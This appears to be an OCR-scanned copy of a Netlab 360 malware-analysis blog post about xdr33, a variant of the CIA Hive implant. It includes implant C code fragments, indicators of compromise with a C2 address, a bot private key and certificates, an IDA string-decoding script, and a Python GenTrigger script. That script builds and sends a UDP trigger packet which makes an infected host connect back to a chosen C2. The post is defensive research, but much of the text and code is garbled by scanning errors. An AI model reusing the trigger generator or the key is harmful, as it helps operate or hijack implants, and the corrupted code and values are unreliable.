W NRRVNSWAITODO: SHOULD THESE BE GOING

}
DLX(3, printf("TLS handshake complete.\n"));

if (aes_init(cp) == 0) {
DLX(4, printf(“aes_init() failed\n"));
goto 2

}

while(!fQuit)
{

COMMAND cmd;

Experiment

To verify the correctness of the reverse analysis of the Trigger part, we Patch the SHA1 value of xdr33, fill in the
SHA1 of NetlabPatched,Enjoy! and implement the GenTrigger code in the appendix to generate UDP type

Trigger messages.

9B-FF FF FF FF

FF FF "'FF.FFFFFFFFFFFF
F FF FF FF-FF FF FF FF

F l-F FF
FF FF FF

" FF FF FF-FF FF FF FF
' FF FF FF-FF FF FF FF

FF
FF-

We run the Patch in the virtual machine 192.168.159.133 after the xdr33 sample, the construction of C2 for
192.168.159.128:6666 Trigger Payload, and sent to 192.168.159.133 in the form of UDP. the final result is as
follows, you can see the xdr33 in the implanted host after receiving the UDP Trigger message, and we expected

the same, launched a communication request to the preset Trigger C2, Cool!
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root@turing-dev: /home/turing/samp# md5sum xdr33
af5d2dfcafbb23666129600f982ecb87 xdr33
root@turing-dev: /home/turing/samp# netstat -tpn
Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address

tcp 5] 0 192.168.159.133:44774
root@turing-dev: /home/turing/samp# I

/home/kali

.8{yu</1)-%zAxtH

= M| ¢
O h =2 W

00000030
. 00000040
< Q0000050

[« ST}
= -]

State PID/Program name
ESTABLISHED 32444/./xdr33

Trigger C2

Readers are always welcomed to reach us on twitter or email us to netlab[at]360.cn.

I0C
sample
ee@7a74d12cbb3594965b51d0e45b6 f

patched sample

af5d2dfcafbb236661296001982ech87

C2

45.9.150.144:443

BOT Private Key

MIIEowIBAAKCAQEA6X thqPjU3XFu8/4PMVQ4igqIbleXmXhbVMPhY /sTndEcO5vQ
mIMNIcImISZTNPzddXSrj@h96e@ix0CIZID3bHyZHLigb/ewy1FmgSOVkviG/ Je
017UAghsNGpVu/18FM3qCHIE7z+wBgHAwWVIZMt9vLal ti2KyIV+j1F16Tk8X2jcI
4DnnVKJE81rSafzaX2IBc6I6hovFMMPIIGh2LWRQMZNt ZgSus6IMolhk0dtvxXK
yTm1k79HL 3P1ZdgKt6HIFoukwkWND8NNTbcBXDWWDA 429/ 11027 tMkdKFgf jUut
90LXKRRUENCUrbi75L6P2FRWPnquVv+3N25MZQIDAQABAOIBADtguG57kc8bIQdO
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N1jgPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86mouSVAsiOUY21qCa
aRNWigsohSeMnB51gGalgXrxnI1P@RogYncT18ExSgtued1Inoe/8mPhgbyAuuik
49uVYHkyn51iwlc7b88hTcVvBu06S7HPqqXbDEBSoKL@060/FyPbORKigprKooTo/
KVCRFDT6xpAGMnjZkSSBIB2cgRxQwkcyghMcLIBvsZXbYNihiXiiiwalvk4ZeBtf
Ohnb6Cty8403juAIGKDiUEL1jd3JtVKaBy41KLrdsnC+8IU3RIVGPtPDbwGanvnCk
Ito7gqUCgYEA+MucFy8fcFItUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA@hnGEGVh
ZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjI1LZZQIcnnTCQxHMXa+YvpuEKE5mQSMwn Lu
YH9S2S0xQP1i1yLQKjAVVt+zRuuJvMv@d0ZAOfdib+3xesPv2fIBuMcCgYEABD4/
zygeF5k40mh01235e081kqLtqVLu23vI@TVnP2LNh4rRubviBuRW709tsFLng8L8
alohdVdF/E2FnNBhnvoohs8+IeFX1D8m14LC+QD6AcvcMGYYwLIzew0DI2d0ZbBI
hQthoAw9urezc2(CLy@da7H9Imeg26utwzIB4ZXMCgYEAYVIb/rPoelxuCd+Ln3Wd
+06Y515jVQfL1012ZP4dBCFwgt2rn529HOCGymzWFhq1VCr T96pM2wk fr6rNBHQC
7LvNvoJ2WotykEmxPcG/Fny4du7k@3+f5EEKGLhod IMYJ9P5+W1T/SOUefROTVFi
FzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhwd2K7UfwRusRWVazvFsG]j
Ge1739fhTtswHMwtEuS1IvTzHRjor f5TdW/6MgMlpINtg5FBHUo4Vh3wbZeq3Zet
KV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51L1ITIH8rPkopb/EDif2paf
73bSBwKBgCY8+a044uuR2dQm@SIUgnb@MigLRs1qcWIfDFfHFIKT16sGwSK4SDIvD
poCA53ffcrTi+syPiUuBIFZG7VGfWiNI6GWs48sP5dgyBQaVg5hQofKqQAZAQef+
7TxBhBF4n2gc5Ah]3fQA0XZg5rgNghAln@4UAI1gQK069fAVfZID

MIIFJTCCBA2gAwIBAgIBAzANBgkghkiGI9w@BAQsFADCBzZjELMAKGATUEBhMCIWKEX
FTATBgNVBAgMDFd1c3R1cm4gQ2FwZ TESMBAGATUEBwwIQ2FwZSBUb3duMROWGWYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGATUECwwTQ2VydGmalWNhdG Ly
biBTZXJ2aWN1cyBEaXZpc21vbjEhMB8GATUEAWWYVGhhd3R1IFByZW1pdWAgU2Vy
dmVyIENBMSgwIgYJKoZIhvcNAQkBFhlwecmVtaXVtLXNlcnZ1ckB@aGF3dGUuY29t
MB4XDTIyMTAwNzE5SNTAWNT0oXDTIZzMDMxNjESNTAwWNTowgYExCzAJBgNVBAYTALIV
MROwGWYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9ye TEUMBIGATUEAwwLRWSnalW51
ZXJpbmcxDjAMBgNVBAMMBXhkc jMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBACM
Bk1vc2NvdzELMAKGATUECwwCSVQwggE iMAOGCSqGSIb3DQEBAQUAA4AIBDwAWGGEK
AoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+x0d@Rw7mICYgwo1zWYh
J1M@/N11dKuPSH@Y17SLHQIhkgPdsfIkcuKpv97DKUWapI5WS+Ib816jXtQCqGwe
alli7+XwUzeoIckTvP7AGod3BUhky328tou2LYrI1X6PUXUZOTxfaNwjgOedUokTz
WtJp/NpfYkFzonqGi8Uww/@gZvYvBFAxk21mpKb6zokyiWGQ7R22/FcrIObWTvOcv
c+V12Aq30ckWibTCRYOPwOINtwFcNZYN@njaD/UjRnu@yRAoWB+NS633QtcpFG4Q
1xStulvkvo/YVHA+eq9W/7c3bkx1AgMBAAGjggFXMIIBUZAMBgNVHRMBATSEA]AA
MBOGA1UdDgQWBBRcALAOWWACHazovupk jX8R3V+NpjCB+wYDVROjBIHZMIHWgBTZ
BcGhW/F2gdgt/v@oYQtatP2x5aGB1KSBOTCBz jELMAKGATUEBhMCWKEXFTATBgNV
BAgMDFd1c3R1cm4gQ2FwZ TESMBAGATUEBwwIQ2FwZ SBUb3duMR@wGwYDVQQKDBRU
aGF3dGUgQ29uc3VsdaluZyBjYzEoMCYGATUECwwTQ2VydGmaWNhdGlvbiBTZXJ2
aliNlcyBEaXZpc21vbjEhMB8GATUEAwWYVGhhd3R1IFByZW1pdWegU2VydmVyIENB
MSgw]gYJKoZIhvcNAQkBFhlwemVtaXVtLXN1cnZ1ckB@aGF3dGUuY29tggEAMA4G
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A1UdDwEB/wQEAwIFADAWBgNVHSUBAT8EDDAKBggrBgEFBQcDAjANBgkghkiGIweB
AQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbILrsUy
qend@E3pT1ARHozy4rulI@XBh5z3MgMnsXcxkC3YIkjX2b2EuYgyhvvIFm326s48P
06MUSYs5CFxhhp/N@camgGgZL5V5evI7P8NpPcFhs7ulryGDcKIMTtSSPNPyY3F+c
d707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EU175n90LTinZcb/CQIAt+5Sn91AT3
ngd22cyLLC304F14L+hqwMd@ENS janX381Z2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI
1HEtKB3YMeSXQHAsVBQDOALW7R7JgHdreg==

MITFXTCCBEWgAwIBAgIBADANBgkghkiG9w@BAQsFADCBz jELMAKGATUEBhMCWKEX
FTATBgNVBAgMDFd1c3R1cm4gQ2FwZ TESMBAGATUEBwwIQ2FwZSBUb3duMROWGwWYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGATUECwwTQ2VydGmaWNhdGly
biBTZXJ2aWN1cyBEaXZpc21lvbjEhMB8GATUEAwwYVGhhd3R1IFByZW1pdW@gU2Vy
dmVyIENBMSgw]gYJKoZIhvcNAQkBFhlwemVtaXVtLXNlcnZ1ckB@aGF3dGUUY29t
MB4XDTIyMTAwNzE@OMTEZzOFoXDTQ3MTAWMTE@MTEZOFowgc4xCzAJBgNVBAYTATpB
MRUwEwYDVQQIDAxXZXN@ZXJuIENhcGUXE jAQBgNVBACMCUNhcGUgVGI3bjEdMBSG
ATUECgwUVGhhd3R1IENvbnN1bHRpbmcgY2MxKDAmBgNVBASMHONTcnRpZm1jYXRp
b24gU2Vydm1jZXMgRG12aXNpb24xITAfBgNVBAMMGFRoYXd@ZSBQcmVtaXVtIFNT
cnZ1ciBDQTEoMCYGCSqGSIb3DQEJARYZcHI1bW11bS12ZXI2ZXIAdGhhd3R1LmNv
bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHII14/Xdo896R1yqr
3VcKnLAAqIJkpg190Z6bxUDpwad1H3ZDa7As4Z09xa+1XGn9XBIu34TqIPkyhSKg
3wYK@2KTCwVMI/gf506KpFvoc THpScnXs@xUoxsM8qEiDV2pTe447rmyalyWcT5d
hbzkP1@WuDmEWMhfC2R9z4+m1sbwMAy9IPN/IYzxz7cR48qj4j9IhhEwkI1+yIKXBV
AV9CdgLYfIXrA7A4Hxgc@ECKImpovskv/D1xM8Rx0sHfVtyG4ZggmRraxUelirlf
tLj0fIkLaP7xvo1QSgiqQffbB0iDg9IPN3H2wezFOmeDgIRIR6qvhzhyNpZ jANiiC
JzMCAwEAAEOCAUIwggE+MA8GATUdEWEB/wQFMAMBAf8wHQYDVROOBBYEFPMFwaFh
8XaB2(C3+/ShhC1q0/bHIMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q@
/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGATUECAWMY2VzdGVybiBDYXB1
MRIWEAYDVQQHDA1DYXB1IFRvd24xHTAbBgNVBAoMFFRoYXd@ZSBDb25zdWx@ali5n
IGNjMSgwIgYDVQQLDBIDZXJI0aWZpY2F@aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw
HwYDVQQDDBhUaGF3dGUgUHI 1bW11bSBTZXJ2ZXIgQOEXKDAMBgkghk iGIw@BCQEW
GXByZW1pdW@tc2VydmVyQHRoYXd@ZS5jb22CAQAWDgYDVROPAQH/BAQDAGGGMABG
(SqGSIb3DQEBCWUAA4IBAQDBNATWFp15AM8170Dgga/ YHvoGmfcs48Ak8YtrDEF
tLRyz1+hr/hhfR8HmM1hZ00j 1vAzayhCGKdQTk42mq90dG4tViNYMg4mFKmOoVnw6
u4C8BCPfxmuyNFdwITVqT jdwigWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw
LCsU7xKJcbgwk4eNWEGXFIJwSOEwPhBkt11H40D11jHOUkr5rRIvh1b1Ui0HPd3//
kzeXNozA9PwoH4wewgk8bXZhj5ZA9LR7rm+50r CoWXofgn1Gi2yd+LWWCrE7NBWm
yRe1x0SPRSQ1fvAVvuRrCnCIgKxG/2Ba2DLs95ubIxYX
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Bisx

0x1 Decode_RES

import idautils

import ida_bytes

def decode(addr,len):
tmp=bytearray()

buf=ida_bytes.get_bytes(addr,len)
for i in buf:

tmp.append(Ti&0xff)

print("%x, %s" %(addr,bytes(tmp)))
ida_bytes.put_bytes(addr, bytes(tmp))

idc.create_strlit(addr,addr+len)

calllist=idautils.CodeRefsTo(0x0804F1D8,1)
for addr in calllist:
previ1Head=idc.prev_head(addr)
if 'push offset' in idc.generate_disasm_line(previHead,1) and idc.get_operand_type(previHead,@)==5:
bufaddr=idc.get_operand_value(previHead, )
prev2Head=idc.prev_head(previHead)

if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,®)==5:
leng=idc.get_operand_value(prev2Head, @)
decode(bufaddr, leng)

0x02 GenTrigger

import random

import socket

def crcl16(data: bytearray, offset, length):
if data is None or offset < @ or offset > len(data) - 1 and offset + length > len(data):
return 0
crc = OxFFFF
for i in range(@, length):
crc M= data[offset + i] << 8
for j in range(0, 8):
if (crc & 0x8000) > 0:
crc = (crc << 1) N 0x1021
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else:
crc = crc << 1
return crc & OxFFFF

def Gen_payload(ip:str,port:int):
out=bytearray()
partl1=random.randbytes(92)
sum=crc16(part1,8,84)

offset1=sum % @xc8

offset2=sum % 0x37
paddingl=random.randbytes(offset1)
padding2=random.randbytes(8)

host=socket.inet_aton(ip)
(2=bytearray(b'\x01")

(2+=host
(2+=int.to_bytes(port,2,byteorder="big")
key=b'NetlabPatched, Enjoy!"

(2 = (2+key +b'\x00\x00'
c2sum=crc16(C2,0,29)

(2=C2[:-2]
C2+=(int.to_bytes(c2sum,2,byteorder="big"))

flag=0x7*10

out+=part1

out+=padding1
out+=(int.to_bytes(sum,2,byteorder="big"))
out+=(int.to_bytes(flag,2,byteorder="big"))
out+=padding?

tmp=bytearray()
for i in range(29):
tmp.append(C2[i] A out[offset2+8+i])

out+=tmp

leng=472-1en(out)

lengpadding=random. randbytes(random.randint(@,leng+1))
out+=lengpadding

return out

payload=Gen_payload('192.168.159.128",6666)
sock=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
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sock.sendto(payload, ("192.168.159.133",2345)) # {£=Z3x0

Source: https://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/
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